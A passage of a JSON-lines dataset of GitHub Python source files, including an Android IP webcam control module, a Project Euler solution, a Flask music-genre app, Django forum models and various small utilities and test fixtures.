_(\"module::android_ip_webcam::ui::debug::base_url\", \"Base URL\"): self.base_url,\n                _(\"module::android_ip_webcam::ui::debug::video_url\", \"Video URL\"): self.video_url,\n                _(\"module::android_ip_webcam::ui::debug::image_url\", \"Image URL\"): self.image_url,\n                _(\"module::android_ip_webcam::ui::debug::audio_url\", \"Audio URL\"): self.audio_url,\n                _(\"module::android_ip_webcam::ui::debug::last_image\", \"Last Image\"): \"not avail\",\n            }\n        }\n        return debug_data\n\n    @inlineCallbacks\n    def update(self):\n        \"\"\"\n        Get the Android IP Webcam status and update sensor data.\n        \"\"\"\n        status_data = yield self._request(\"/status.json\", params={\"show_avail\": 1})\n\n        if status_data:\n            self.status_data = status_data\n\n            sensor_data = yield self._request(\"/sensors.json\")\n            if sensor_data:\n                self.sensor_data = sensor_data\n\n    @property\n    def current_connections(self):\n        \"\"\"\n        Returns a dictionary of the current conenction counts.\n        :return:\n        \"\"\"\n        if self._available is True and \\\n                isinstance(self.status_data, dict) and \"video_connections\" in self.status_data and \\\n                \"audio_connections\" in self.status_data:\n            return {\n                \"video_connections\": self.status_data[\"video_connections\"],\n                \"audio_connections\": self.status_data[\"video_connections\"],\n            }\n        return {\n            \"video_connections\": 0,\n            \"audio_connections\": 0,\n        }\n\n    @property\n    def current_settings(self):\n        \"\"\"\n        Returns a dictionary of the current active settings.\n        \"\"\"\n        settings = {}\n        if not self.status_data:\n            return settings\n\n        for (key, val) in self.status_data.get(\"curvals\", {}).items():\n            try:\n                val = float(val)\n            except ValueError:\n                val = val\n\n            if val == \"on\" or val == \"off\":\n                val = (val == \"on\")\n\n            settings[key] = val\n\n        return settings\n\n    @property\n    def available_settings(self):\n        \"\"\"\n        Related to current_settings, but shows all currentl available settings. Returns a dictionary with all possible\n        settings.\n        \"\"\"\n        available = {}\n        if not self.status_data:\n            return available\n\n        for (key, val) in self.status_data.get(\"avail\", {}).items():\n            available[key] = []\n            for subval in val:\n\n                try:\n                    subval = float(subval)\n                except ValueError:\n                    subval = subval\n\n                if subval == \"on\" or subval == \"off\":\n                    subval = (subval == \"on\")\n\n                available[key].append(subval)\n\n        return available\n\n    @property\n    def enabled_sensors(self):\n        \"\"\"\n        Returns a list of the enabled sensors.\n        \"\"\"\n        if self.sensor_data is None:\n            return []\n        return list(self.sensor_data.keys())\n\n    @property\n    def enabled_settings(self):\n        \"\"\"\n        Return a list of available settings.\n        \"\"\"\n        if self.status_data is None:\n            return []\n        return list(self.status_data.get(\"curvals\", {}).keys())\n\n    def export_sensor(self, sensor):\n        \"\"\"Return (value, unit) from a sensor node.\"\"\"\n        value = None\n        unit = None\n        try:\n            container = self.sensor_data.get(sensor)\n            unit = container.get(\"unit\")\n            data_point = container.get(\"data\", [[0, [0.0]]])\n            if data_point and data_point[0]:\n                value = data_point[0][-1][0]\n        except (ValueError, KeyError, AttributeError):\n            pass\n        return value, unit\n\n    @inlineCallbacks\n    def change_setting(self, key, val):\n        \"\"\"\n        Change a camera setting.\n        \"\"\"\n        if isinstance(val, bool):\n            payload = \"on\" if val else \"off\"\n        else:\n            payload = val\n        results = yield self._request(f\"/settings/{key}\", params={\"set\": payload})\n        return results\n\n    @inlineCallbacks\n    def record(self, record=True, tag=None):\n        \"\"\"\n        Enable/disable recording. Set record to True or False, otherwise, recording will be toggled.\n        \"\"\"\n        params = {\"force\": 1}\n        path = \"/startvideo\" if record else \"/stopvideo\"\n        if record and tag is not None:\n            params[tag] = tag;\n\n        results = yield self._request(path, params=params)\n        return results\n\n    @inlineCallbacks\n    def set_focus(self, activate=True):\n        \"\"\"\n        Enable/disable camera focus. Calling without a variable, toggles it.\n        \"\"\"\n        path = \"/focus\" if activate else \"/nofocus\"\n        results = yield self._request(path)\n        return results\n\n    @inlineCallbacks\n    def set_front_facing_camera(self, activate=True):\n        \"\"\"\n        Enable/disable the front-facing camera. Calling without activate set will simply toggle it.\n        \"\"\"\n        results = yield self.change_setting(\"ffc\", activate)\n        return results\n\n    @inlineCallbacks\n    def set_gps_active(self, activate=True):\n        \"\"\"\n        Enable/disable GPS. Calling without activate set will simply toggle it.\n        \"\"\"\n        results = yield self.change_setting(\"gps_active\", activate)\n        return results\n\n    @inlineCallbacks\n    def set_light(self, activate=True):\n        \"\"\"\n        Enable/disable the light (aka torch). Calling without a variable, toggles it.\n        Return a coroutine.\n        \"\"\"\n        path = \"/enabletorch\" if activate else \"/disabletorch\"\n        results = yield self._request(path)\n        return results\n\n    @inlineCallbacks\n    def set_overlay(self, activate=True):\n        \"\"\"\n        Enable/disable the video overlay. Calling without activate set will simply toggle it.\n        \"\"\"\n        results = yield self.change_setting(\"overlay\", activate)\n        return results\n\n    @inlineCallbacks\n    def set_quality(self, quality=100):\n        \"\"\"\n        Set the video quality on scale of 1 to 100. Typically want somewhere between 50 and 75.\n        \"\"\"\n        results = yield self.change_setting(\"quality\", quality)\n        return results\n\n    @inlineCallbacks\n    def set_night_vision(self, activate=True):\n        \"\"\"\n        Enable/disable night vision. Calling without activate set will simply toggle it.\n        \"\"\"\n        results = yield self.change_setting(\"night_vision\", activate)\n        return results\n\n    @inlineCallbacks\n    def set_orientation(self, orientation=\"landscape\"):\n        \"\"\"\n        Set the video orientation, defaults to \"landscape\".\n        \"\"\"\n        if orientation not in const.ALLOWED_ORIENTATIONS:\n            logger.debug(\"%s is not a valid orientation\", orientation)\n            return False\n        results = yield self.change_setting(\"orientation\", orientation)\n        return results\n\n    @inlineCallbacks\n    def set_scenemode(self, scenemode=\"auto\"):\n        \"\"\"\n        Set the video scene mode.\n        \"\"\"\n        if scenemode not in self.available_settings[\"scenemode\"]:\n            raise YomboWarning(f\"{scenemode} is not a valid scenemode\")\n\n        results = yield self.change_setting(\"scenemode\", scenemode)\n        return results\n\n    @inlineCallbacks\n    def set_zoom(self, zoom):\n        \"\"\"\n        Set the zoom level, between 0 and 100.\n        \"\"\"\n        if isinstance(zoom, int) is False or zoom < 0 or zoom > 100:\n            raise YomboWarning(\"Set zoom must be an int between 0 and 100.\")\n        results = yield self._request(f\"/settings/ptz\", params={\"zoom\": zoom})\n        return results\n","repo_name":"yombo/module-android-ipwebcam","sub_path":"_devices.py","file_name":"_devices.py","file_ext":"py","file_size_in_byte":18985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4914717558","text":"import math\nimport time\n\nt1 = time.time()\n\n\n#https://en.wikipedia.org/wiki/Zeckendorf%27s_theorem\n# z(1) = 1\n# z(2) = 1\n# z(3) = 1\n# z(4) = 1(3)+z(1) = 2\n# z(5) = 1\n# z(6) = 1(5)+z(1) = 2\n# z(7) = 1(5)+z(2) = 2\n# z(8) = 1\n# z(9) = 1(8)+z(1) = 2\n# z(10) = 1(8)+z(2) = 2\n# z(11) = 1(8)+z(3) = 2\n# z(12) = 1(8)+z(4) = 3\n# z(13) = 1\n\n\nN = 10**17\n\nfab = [1,1,2]\nf = 0\nwhile f < N:\n    f = fab[-1]+fab[-2]\n    fab.append(f)\n\ndef sz(n):\n    r = 0\n    for i in range(1,n):\n        r += z(i)\n    return r\n\ndef z(n):\n    i = 1\n    if n == fab[i]:\n        return 1\n    while True:\n        i += 1\n        if fab[i] == n:\n            return 1\n        if fab[i] > n:\n            return 1+z(n-fab[i-1])\n\n\n# sz(fi) = fi-f(i-1)+2*sz(f(i-1))\ndef szf(f):\n    if f <= 3:\n        return f\n    return szf(f-2)-1+szf(f-1)+fab[f]-fab[f-1]\n\ndef szl(n):\n    if n <= 3:\n        return n-1\n    i = 3\n    while True:\n        i += 1\n        if fab[i] == n:\n            return szf(i)-1\n        if fab[i] > n:\n            return szl(n-fab[i-1])+n-fab[i-1]-1+szf(i-1)\n\n\nnszf = [0,1,2,3]\ni = 3\nwhile True:\n    i += 1\n    if fab[i] > N:\n        break\n    t = nszf[i-2]-1+nszf[i-1]+fab[i]-fab[i-1]\n    nszf.append(t)\n    \ndef nsz(n):\n    if n <= 3:\n        return n-1\n    i = 3\n    while True:\n        i += 1\n        if fab[i] == n:\n            return nszf[i]-1\n        if fab[i] > n:\n            return nsz(n-fab[i-1])+n-fab[i-1]-1+nszf[i-1]\n\n\n\n\n\n#print(len(fab))\n\n        \n#print(sz(N))\n#print(szl(N))\nprint(nsz(N))\n\nprint(\"time:\",time.time()-t1)  \n\n\n    \n","repo_name":"Adamssss/projectEuler","sub_path":"pb297.py","file_name":"pb297.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10199695993","text":"\"\"\"\nModule with base file parser\n\"\"\"\nimport os\nfrom abc import ABC, abstractmethod\nfrom logging import Logger, getLogger\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple, Union\n\nfrom gen_doc.models import Module\n\ntry:\n    from collections import Iterable  # type: ignore\nexcept ImportError:\n    from collections.abc import Iterable\n\n\nclass GenDocParser(ABC):\n    \"\"\"\n    Base class for parsers\n    \"\"\"\n\n    def __init__(\n            self,\n            logger: Optional[Logger] = None,\n            path_to_root_folder: Optional[Union[Path, str]] = None,\n            additional_files_to_ignore: Optional[List[str]] = None,\n            additional_folders_to_ignore: Optional[List[str]] = None,\n    ):\n        self._logger = logger or getLogger(__name__)\n        if not path_to_root_folder:\n            path_to_root_folder = \"./\"\n        if isinstance(path_to_root_folder, str):\n            path_to_root_folder = Path(path_to_root_folder)\n\n        self._root_folder = path_to_root_folder\n\n        if not additional_files_to_ignore or not isinstance(\n                additional_files_to_ignore, Iterable\n        ):\n            additional_files_to_ignore = list()  # type: List[str] # type: ignore # noqa\n        if not additional_folders_to_ignore or not isinstance(\n                additional_folders_to_ignore, Iterable\n        ):\n            additional_folders_to_ignore = (\n                list()\n            )  # type: List[str] # type: ignore # noqa\n\n        self._additional_folders_to_ignore = additional_folders_to_ignore\n        self._additional_files_to_ignore = additional_files_to_ignore\n\n    @property\n    def language(self) -> str:\n        \"\"\"Property for which language\n        :return: str language\n        :rtype: str\n        :example:\n        >>> language = \"python\"\n        \"\"\"\n        raise NotImplementedError\n\n    @property\n    def short_name(self) -> str:\n        \"\"\"Property for short name in commands\n        :return: str short name\n        :rtype: str\n        :example:\n        >>> short_name = \"py\"  # for python\n        \"\"\"\n        raise NotImplementedError\n\n    @property\n    def types_of_file_to_process(self) -> List[str]:\n        \"\"\"Property for concrete language\n        type of documents for which to create documentation\n        :return: is list of string types to build docs\n        :rtype: List[str]\n        :example:\n        >>> types_of_file_to_process = ['.py']  # for python\n        \"\"\"\n        raise NotImplementedError\n\n    @property\n    def files_to_ignore(self):\n        \"\"\"Which files names will not be considered\n        :return: list of files that should not be processed\n        :rtype: List[str]\n        :example:\n        >>> files_to_ignore = ['setup.py'] # for python\n        \"\"\"\n        raise NotImplementedError\n\n    @property\n    def folders_to_ignore(self):\n        \"\"\"Which folder names will not be considered\n        :return: list of folders that should not be processed\n        :rtype: List[str]\n        :example:\n        >>> folders_to_ignore = ['__pycache__'] # for python\n        \"\"\"\n        raise NotImplementedError\n\n    @abstractmethod\n    def parse_file(self, path_to_file: Path):\n        raise NotImplementedError\n\n    def parse(self) -> List[Module]:\n        \"\"\"Method parses all nested files and folders if\n         they are not in the exclusion\n        :return: list of parsed modules\n        \"\"\"\n        self._logger.debug(\"Started process root folder: %s\", self._root_folder)\n        list_parsed_modules = list()  # type: List[Module]\n        list_folders_with_files_to_parse = [\n            (Path(dir_path), file_names)\n            for (dir_path, dir_names, file_names) in os.walk(self._root_folder)\n            if file_names\n        ]  # type: List[Tuple[Path, List[str]]]\n        _current_files_to_ignore = [\n            *self.files_to_ignore,\n            *self._additional_files_to_ignore,\n        ]\n        _current_folders_to_ignore = [\n            *self.folders_to_ignore,\n            *self._additional_folders_to_ignore,\n        ]\n        for folder_path, list_files in list_folders_with_files_to_parse:\n            if not self._is_correct_folder_to_process(\n                    str(folder_path), _current_folders_to_ignore\n            ):\n                self._logger.debug(\"Ignore folder %s\", folder_path)\n                continue\n            self._logger.info(\"Started process folder %s\", folder_path)\n            for file in list_files:\n                if file in _current_files_to_ignore:\n                    self._logger.debug(\n                        \"Ignore file: %s, from folder %s\", file, folder_path\n                    )\n                    continue\n                file_path = Path(file)\n                if file_path.suffix not in self.types_of_file_to_process:\n                    continue\n                list_parsed_modules.append(\n                    self.parse_file(path_to_file=folder_path / file_path)\n                )\n\n            self._logger.info(\"Finished process folder %s\", folder_path)\n        self._logger.debug(\"Finished process root folder: %s\", self._root_folder)\n        return list_parsed_modules\n\n    @staticmethod\n    def _is_correct_folder_to_process(\n            folder: str, folders_to_ignore: List[str]\n    ) -> bool:\n        \"\"\"Method to check if the specified directory\n         should be processed\n        :param folder: current folder to process\n        :type folder: str\n        :param folders_to_ignore: folders in exclusion\n        :type folders_to_ignore: List[str]\n        :return: true if folder needs to be processed\n        :rtype: bool\n        \"\"\"\n        for ig_folder in folders_to_ignore:\n            if ig_folder == folder[-len(ig_folder):]:\n                return False\n        return True\n","repo_name":"Shchusia/gendoc","sub_path":"gen_doc/extensions/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":5739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31768882718","text":"\"\"\"solenoid URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom solenoid_app.views import indexView, chartHandle, formHandle\n# from django.contrib import admin\nfrom django.urls import path, include\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nINDEX_URL_NAME = 'indexUrl'\nFORM_HANDLE_URL_NAME = 'formHandle'\nCHART_HANDLE_URL_NAME = 'chartHandle'\n\nurlpatterns = [\n    # path('admin/', admin.site.urls, name='adminUrl'),\n    path('', indexView, name=INDEX_URL_NAME),\n    path('chartHandle', chartHandle, name=CHART_HANDLE_URL_NAME),\n    path('formHandle', formHandle, name=FORM_HANDLE_URL_NAME)\n]\n\nurlpatterns += staticfiles_urlpatterns()","repo_name":"solenoid-pdx/solenoid","sub_path":"solenoid/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4556901894","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Geolocation utils.\"\"\"\n\nfrom ..exceptions import RateExceededError\n\n\ndef ip_geoloc(ip, hit_api=True):\n    \"\"\"\n    Get IP geolocation.\n\n    Args:\n        ip (str): IP address to use if no data provided.\n        hit_api (bool): whether to hit api if info not found.\n\n    Returns:\n        str: latitude and longitude, comma-separated.\n    \"\"\"\n    from ..logs.models import IPInfoCheck\n    try:\n        obj = IPInfoCheck.objects.get(ip_address=ip).ip_info\n    except IPInfoCheck.DoesNotExist:\n        if hit_api:\n            try:\n                obj = IPInfoCheck.check_ip(ip)\n            except RateExceededError:\n                return None\n        else:\n            return None\n    return obj.latitude, obj.longitude\n\n\ndef google_maps_geoloc_link(data):\n    \"\"\"\n    Get a link to google maps pointing on this IP's geolocation.\n\n    Args:\n        data (str/tuple): IP address or (latitude, longitude).\n\n    Returns:\n        str: a link to google maps pointing on this IP's geolocation.\n    \"\"\"\n    if isinstance(data, str):\n        lat_lon = ip_geoloc(data)\n        if lat_lon is None:\n            return ''\n        lat, lon = lat_lon\n    else:\n        lat, lon = data\n    loc = '%s,%s' % (lat, lon)\n    return 'https://www.google.com/maps/place/@%s,17z/' \\\n           'data=!3m1!4b1!4m5!3m4!1s0x0:0x0!8m2!3d%s!4d%s' % (\n            loc, lat, lon)\n\n\ndef open_street_map_geoloc_link(data):\n    \"\"\"\n    Get a link to open street map pointing on this IP's geolocation.\n\n    Args:\n        data (str/tuple): IP address or (latitude, longitude).\n\n    Returns:\n        str: a link to open street map pointing on this IP's geolocation.\n    \"\"\"\n    if isinstance(data, str):\n        lat_lon = ip_geoloc(data)\n        if lat_lon is None:\n            return ''\n        lat, lon = lat_lon\n    else:\n        lat, lon = data\n    return 'https://www.openstreetmap.org/search' \\\n           '?query=%s%%2C%s#map=7/%s/%s' % (lat, lon, lat, lon)\n","repo_name":"pawamoy/django-meerkat","sub_path":"src/meerkat/utils/geolocation.py","file_name":"geolocation.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"1178003582","text":"import json\nfrom typing import Any\n\n\ndef read_json(filename):\n    with open(filename) as f:\n        return json.load(f)\n\n\ndef write_json(filename, data):\n    with open(filename, 'w', encoding='utf-8') as f:\n        json.dump(data, f, ensure_ascii=False, indent=4)\n\n\ndef append_data_to_file(filename: str, data: Any):\n    \"\"\"Append data to existing json - file.\n\n    The content of the file needs to be a list, data will be appended as new entry to the list\n\n    Args:\n        filename: the file to be updated\n        data: the data to append\n\n    Returns:\n        data_json: data as stored to filename\n    \"\"\"\n\n    try:\n        data_json = read_json(filename)\n    except FileNotFoundError as err:\n        print(f'{err}')\n        print(f'{filename} created \\n')\n        data_json = []\n    data_json.append(data)\n    write_json(filename, data_json)\n    return data_json\n","repo_name":"berroniko/snippets","sub_path":"snippets/json_files.py","file_name":"json_files.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71119431872","text":"import os\nimport git\nimport pytest\n\n\n@pytest.fixture(name=\"repo\")\ndef fixture_repo(tmp_path):\n    os.chdir(tmp_path)\n    os.mkdir(\"migrations\")\n    return git.Repo.init(tmp_path)\n\n\n@pytest.fixture(name=\"repo_with_schema_commits\")\ndef fixture_repo_with_schema_commits(repo):\n    write_schema_and_commit(\n        repo, \"CREATE TABLE users (id INTEGER, name TEXT);\\n\", msg=\"initial import\"\n    )\n    write_schema_and_commit(\n        repo,\n        \"\"\"\n    CREATE TABLE users (id INTEGER, name TEXT);\n    CREATE TABLE widgets (id INTEGER, name TEXT);\n    \"\"\",\n        msg=\"add widgets\",\n    )\n    write_schema_and_commit(\n        repo,\n        \"\"\"\n    CREATE TABLE users (id INTEGER, name TEXT);\n    CREATE TABLE widgets (id INTEGER, name TEXT);\n    CREATE TABLE vehicles (id INTEGER, name TEXT);\n    \"\"\",\n        msg=\"add vehicles\",\n    )\n    return repo\n\n\ndef write_schema_and_commit(repo, sql, msg=\"[no msg]\"):\n    with open(\"schema.sql\", \"w\") as file:\n        file.write(sql)\n    repo.index.add([\"schema.sql\"])\n    repo.index.commit(msg)\n","repo_name":"bard/pg_dev","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22320088178","text":"from flask import Flask, request, render_template, jsonify, send_from_directory, Response\nimport os\n\nfrom werkzeug.utils import redirect\nfrom src import predict\nimport random\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = 'data'\napp.config['MAX_CONTENT_LENGTH'] = 32 * 1000 * 1000     # max file 32MB\n\n@app.route('/mgc')\ndef index():\n    return render_template('index.html')\n\n@app.route('/uploader', methods=['POST'])\ndef uploader():\n    if request.method == 'POST':\n        f = request.files['file']\n        _, extname = os.path.splitext(f.filename)\n        \n        # make dir if we do not have data folder\n        os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)\n\n        # generate random string to handle the filename which has some characters not in UTF8\n        domain = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')\n        fn = app.config['UPLOAD_FOLDER'] + '/' + ''.join(random.choices(domain, k=10)) + extname\n        f.save(fn)\n\n        return jsonify({\n            'filename': f.filename,\n            'genres': predict.get_predict('models/lstm_genre_classifier_lstm.h5', fn)\n        })\n\n# this is for static files\n@app.route('/statics/<path:path>')\ndef send_js(path):\n    return send_from_directory('statics', path)\n\n@app.route('/')\n@app.route('/predictgui')\ndef predict_gui():\n    return render_template('predict_gui.html')\n\n@app.route('/music', methods=['GET'])\ndef music():\n    filename = request.args.get('filename')\n    return redirect('https://had.name/data/aiot/' + filename + '.mp3')\n    # return send_from_directory('statics/music', path = filename + '.mp3')\n\n\n@app.route('/predict', methods=['GET'])\ndef prediction():\n    idx = int(request.args.get('label'))\n    debug = request.args.get('debug')\n    song, _ = predict.recommend_music(idx)\n    print('song =', song)\n    if debug:\n        return redirect('/music?filename=' + song)\n    else:\n        return jsonify({\n            'filename': song.replace('-', ' '),\n            'url': 'https://had.name/data/aiot/' + song + '.mp3'\n        })\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"wei-coding/NCHU-AIoT-Final-Project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2039745157","text":"import random\n\ndef break_into_subgroups(group):\n    iters = 0\n    acceptable = False\n    remainder = len(group) % 3\n    groups_of_two = 0 if remainder == 0 else abs(remainder - 3)\n\n    final_groups = []\n\n    while not acceptable and iters < 10:\n        acceptable = True\n        final_groups = []\n        group_copy = group.copy()\n        random.shuffle(group_copy)\n\n        for _ in range(groups_of_two):\n            final_groups.append(group_copy[:2])\n            group_copy = group_copy[2:]\n        while len(group_copy) > 0:\n            final_groups.append(group_copy[:3])\n            group_copy = group_copy[3:]\n\n        for final_group in final_groups:\n            if len(final_group) == 2 and any(attendee.can_pair == False for attendee in final_group):\n                acceptable = False\n                iters += 1\n                break\n\n    return final_groups","repo_name":"LuosRestil/fcc_algo_grouper","sub_path":"break_into_subgroups.py","file_name":"break_into_subgroups.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22886139658","text":"from cone.app.browser.ajax import ajax_continue\nfrom cone.app.browser.ajax import ajax_message\nfrom cone.app.browser.ajax import AjaxEvent\nfrom cone.app.browser.utils import make_query\nfrom cone.app.browser.utils import make_url\nfrom cone.tile import Tile\nfrom cone.tile import tile\nfrom node.interfaces import IOrder\nfrom pyramid.i18n import get_localizer\nfrom pyramid.i18n import TranslationStringFactory\n\n\n_ = TranslationStringFactory('cone.app')\n\n\nclass MoveAction(Tile):\n\n    def move(self):\n        raise NotImplementedError(\n            'Abstract ``MoveAction`` does not implement ``move``'\n        )\n\n    def continuation(self, url):\n        return [AjaxEvent(url, 'contextchanged', '#layout')]\n\n    def show_error(self, message):\n        localizer = get_localizer(self.request)\n        ajax_message(self.request, localizer.translate(message), 'error')\n\n    def render(self):\n        model = self.model\n        parent = model.parent\n        if not IOrder.providedBy(parent):\n            title = model.metadata.get('title', model.name)\n            message = _(\n                'object_not_movable',\n                default='Object \"${title}\" not movable',\n                mapping={'title': title}\n            )\n            self.show_error(message)\n            return u''\n        if (\n            not parent.properties.action_move\n            or not self.request.has_permission('change_order', parent)\n        ):\n            message = _(\n                'object_moving_not_permitted',\n                default='You are not permitted to move this object'\n            )\n            self.show_error(message)\n            return u''\n        self.move()\n        parent()\n        query = make_query(\n            contenttile='listing',\n            b_page=self.request.params.get('b_page'),\n            size=self.request.params.get('size')\n        )\n        url = make_url(self.request, node=parent, query=query)\n        ajax_continue(self.request, self.continuation(url))\n        return u''\n\n\n@tile(name='move_up', permission='view')\nclass MoveUpAction(MoveAction):\n\n    def move(self):\n        model = self.model\n        parent = model.parent\n        parent.swap(model, parent[parent.prev_key(model.name)])\n\n\n@tile(name='move_down', permission='view')\nclass MoveDownAction(MoveAction):\n\n    def move(self):\n        model = self.model\n        parent = model.parent\n        parent.swap(model, parent[parent.next_key(model.name)])\n","repo_name":"conestack/cone.app","sub_path":"src/cone/app/browser/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"9732690549","text":"# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport io\r\nimport smtplib\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.base import MIMEBase\r\nfrom email import encoders\r\nfrom datetime import datetime\r\nfrom Common.ReadConfig import ReadConfig\r\nfrom Common.Log import Log\r\n\r\nlocalReadCongig = ReadConfig()\r\n\r\nclass Email:\r\n    def __init__(self):\r\n        global host, port, user, password, sender, receiver, title\r\n        host = localReadCongig.get_email(\"mail_host\")\r\n        port = localReadCongig.get_email(\"mail_port\")\r\n        user = localReadCongig.get_email('mail_user')\r\n        password = localReadCongig.get_email('mail_pass')\r\n        sender = localReadCongig.get_email('sender')\r\n        title = localReadCongig.get_email('subject')\r\n        self.value = localReadCongig.get_email('receiver')\r\n        self.receiver = []\r\n        #获取收件人列表\r\n        for n in str(self.value).split(\"/\"):\r\n            self.receiver.append(n)\r\n        #定义邮件的subject\r\n        date = datetime.now().strftime('%Y-%m-%d')\r\n        self.subject = title + \"\" + date\r\n        self.msg = MIMEMultipart('mixed')\r\n\r\n        self.log = Log()\r\n        self.logger = self.log.get_logger()\r\n\r\n    def config_header(self):\r\n        self.msg['Subject'] = self.subject\r\n        self.msg['From'] = sender\r\n        self.msg['To'] = \":\".join(self.receiver) #python群发邮件的配置\r\n\r\n    def config_content(self, totalcase, errorcasecouting, errorcaseid):\r\n        body = '本次接口测试完成。\\n' \\\r\n               '接口数：7，用例总数：%s，失败用例数：%s，失败用例id：%s。\\n' \\\r\n               '执行详情见附件。' % (totalcase, errorcasecouting, errorcaseid)\r\n        content_plain = MIMEText(body, 'plain', 'utf-8')\r\n        self.msg.attach(content_plain)\r\n\r\n    def config_file(self):\r\n        if self.check_file():\r\n            # 获取日志附件的路径\r\n            logpath = self.log.get_log_path()\r\n            att_logfile = io.open(logpath, 'rb')\r\n            file = MIMEBase('application', 'octet-stream')\r\n            file.set_payload((att_logfile).read())\r\n            encoders.encode_base64(file)\r\n            file.add_header('Content-Disposition', 'attachment', filename='log.log',encoders = 'utf-8')\r\n            self.msg.attach(file)\r\n\r\n    def check_file(self):\r\n        logpath = self.log.get_log_path()\r\n        if os.path.isfile(logpath) and not os.stat(logpath) == 0:\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    def send_email(self, totalcase, errorcasecouting, errorcaseid):\r\n        total = totalcase\r\n        number = errorcasecouting\r\n        list = errorcaseid\r\n        self.config_header()\r\n        self.config_content(total, number, list)\r\n        self.config_file()\r\n\r\n        try:\r\n            smtp = smtplib.SMTP(host)\r\n            smtp.login(user, password)\r\n            smtp.sendmail(sender, self.receiver, self.msg.as_string())\r\n            smtp.quit()\r\n            self.logger.info(\"邮件已发送成功。\")\r\n        except Exception as ex:\r\n            self.logger.error(str(ex))\r\n","repo_name":"OreoSakura/InterfaceTest","sub_path":"Common/ConfigEmail.py","file_name":"ConfigEmail.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3047429842","text":"from django.db import models\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\n\nfrom django.dispatch import receiver\nfrom .utils import unique_slug_generator_by_name, unique_slug_generator_by_title\nfrom django.db.models.signals import post_save\n\nUser = get_user_model()\n\n\nclass QuestionTag(models.Model):\n    name = models.CharField(max_length=150)\n    slug = models.SlugField(max_length=350, blank=True, null=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass Question(models.Model):\n    user = models.ForeignKey(\n        settings.AUTH_USER_MODEL, related_name='questions', on_delete=models.CASCADE)\n    title = models.CharField(max_length=300)\n    content = models.TextField()\n    slug = models.SlugField(max_length=500, blank=True, null=True)\n    tags = models.ManyToManyField(QuestionTag, related_name='questions')\n    date_created = models.DateTimeField(auto_now_add=True)\n    date_modified = models.DateTimeField(auto_now=True)\n\n    class Meta:\n        ordering = ('-date_created',)  # FIlter by Votes\n\n    def save(self, *args, **kwargs):\n        super().save()\n\n    def __str__(self):\n        return self.title\n\n\nclass Answer(models.Model):\n    question = models.ForeignKey(Question, related_name=\"answers\", on_delete=models.CASCADE)\n    user = models.ForeignKey(settings.AUTH_USER_MODEL, related_name=\"answers\", on_delete=models.CASCADE)\n    content = models.TextField()\n    date_created = models.DateTimeField(auto_now_add=True)\n    date_modified = models.DateTimeField(auto_now=True)\n\n    class Meta:\n        ordering = ('-date_created',)  # FIlter by Votes\n\n    def __str__(self):\n        return self.question.title\n\n\n@receiver(post_save, sender=Question)\ndef question_slug_generator(sender, instance, created, **kwargs):\n    if created:\n        instance.slug = unique_slug_generator_by_title(instance)\n        instance.save()\n\n\n@receiver(post_save, sender=QuestionTag)\ndef tag_slug_generator(sender, instance, created, **kwargs):\n    if created:\n        instance.slug = unique_slug_generator_by_name(instance)\n        instance.save()\n","repo_name":"1hanzla100/django-react-forum","sub_path":"backend/forum/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
